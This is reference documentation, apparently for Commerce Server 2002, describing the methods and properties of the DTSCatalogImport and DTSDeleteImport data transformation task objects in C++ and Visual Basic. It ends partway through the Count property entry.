[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::PersistPropertyBag_Save Method [C++]

DTSCatalogImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport Properties [C++]

DTSCatalogImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Description | BSTR | Stores a description of the DTS task. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
Description | String | Stores a description of the DTS task. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.


_DTSCatalogImport::get_Description, put_Description Property [C++]

DTSCatalogImport.Description Property [Visual Basic]

The Description property is a read/write String that describes the Data Transformation Services (DTS) task.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_Description(
 BSTR Description
);

Put method:

HRESULT _DTSCatalogImport::put_Description(
 BSTR Description
);
[Visual Basic]
Property Description() As String

Parameters

Description [C++]
[in] When putting the property, a BSTR used to describe the DTS task.
[out,retval] When getting the property, a BSTR used to describe the DTS task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_NumRetries, put_NumRetries Property [C++]

DTSCatalogImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts that are to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSCatalogImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long used to specify the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_ProcessingType, put_ProcessingType Property [C++]

DTSCatalogImport.ProcessingType Property [Visual Basic]

The ProcessingType property is a read/write long that specifies the type of processing, which can be either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSCatalogImport::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[in] When putting the property, a long that specifies the type of processing.
[out,retval] When getting the property, a long that specifies the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_RetryInterval, put_RetryInterval Property[C++]

DTSCatalogImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSCatalogImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0 (zero). The maximum value is 3600. The default value is 30.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::put_SourceName Property [C++]

DTSCatalogImport.SourceName Property [Visual Basic]

The SourceName property is a write only String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]
HRESULT _DTSCatalogImport::put_SourceName(
 BSTR* SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName [C++]
[in] A BSTR that contains the name of the Web site or Data Warehouse.
[Visual Basic]None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::get_SourceType, put_SourceType Property [C++]

DTSCatalogImport.SourceType Property [Visual Basic]

The SourceType property is a read/write long that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSCatalogImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSCatalogImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[Visual Basic] DTSCatalogImport.CustomTask_Execute

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName


DTSDeleteImport Object [C++]

DTSDeleteImport Object [Visual Basic]

Use this object to delete log file data and summarized data from the Data Warehouse. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Data deletion DTS task, see Scripting the Data Deletion DTS Task.

ProgID: | Commerce.DTSDeleteImport (Externally creatable)
COM Class Name: | DTSDeleteImport
Type Library Name: | Microsoft Commerce 2002 Delete DTS Task Type Library
DLL Name: | CSDWDTSDelete.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSDeleteImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
Count | long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | BSTR | Stores the list of log files to be deleted. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or Web site on the alphabetically sorted list. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | long | Determines if specific log files are deleted, or if rotating deletes are performed. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | Long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | Long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | Long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | String | Stores the list of log files to be deleted. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or Web site on the alphabetically sorted list. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | Long | Determines if specific log files are deleted, or if the rotating deletes are performed. This property is read/write.

See Also

Scripting the Data Deletion DTS Task

[C++]

DTSCatalogImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object

[Visual Basic]

DTSCatalogImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSSynchAdminData Object

DTSTransactionImport Object


_DTSDeleteImport Methods [C++]

DTSDeleteImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSDeleteImport::CustomTaskExecute Method [C++]

DTSDeleteImport.CustomTaskExecute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::PersistPropertyBag_Load Method [C++]

DTSDeleteImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when the task is run through a DTS package, and should not be called explicitly.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::PersistPropertyBag_Save Method [C++]

DTSDeleteImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport Properties [C++]

DTSDeleteImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Count | long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | BSTR | Stores the list of log files to be deleted. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or site on the alphabetically sorted list. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | long | Determines if specific log files are deleted, or if rotating deletes are performed. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | Long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | Long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | Long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | String | Stores the list of log files to be deleted. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or site on the alphabetically sorted list. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | Long | Determines if specific log files are deleted, or if the rotating deletes are performed. This property is read/write.


_DTSDeleteImport::get_Count, put_Count Property [C++]

DTSDeleteImport.Count Property [Visual Basic]

The Count property is a read/write Long that determines the number of log files to be kept. The Count property is only used if the DeleteType property is set to 1.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_Count(
 long Count
);

Put method:

HRESULT _DTSDeleteImport::put_Count(
 long Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[out] When getting a property, a long that determines the log files to be kept based on the values of the DeleteType and WebLogDeleteType properties.
[in] When putting a property, a long that determines the log files to be kept based on the values of the DeleteType and WebLogDeleteType properties.
[Visual Basic]None.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

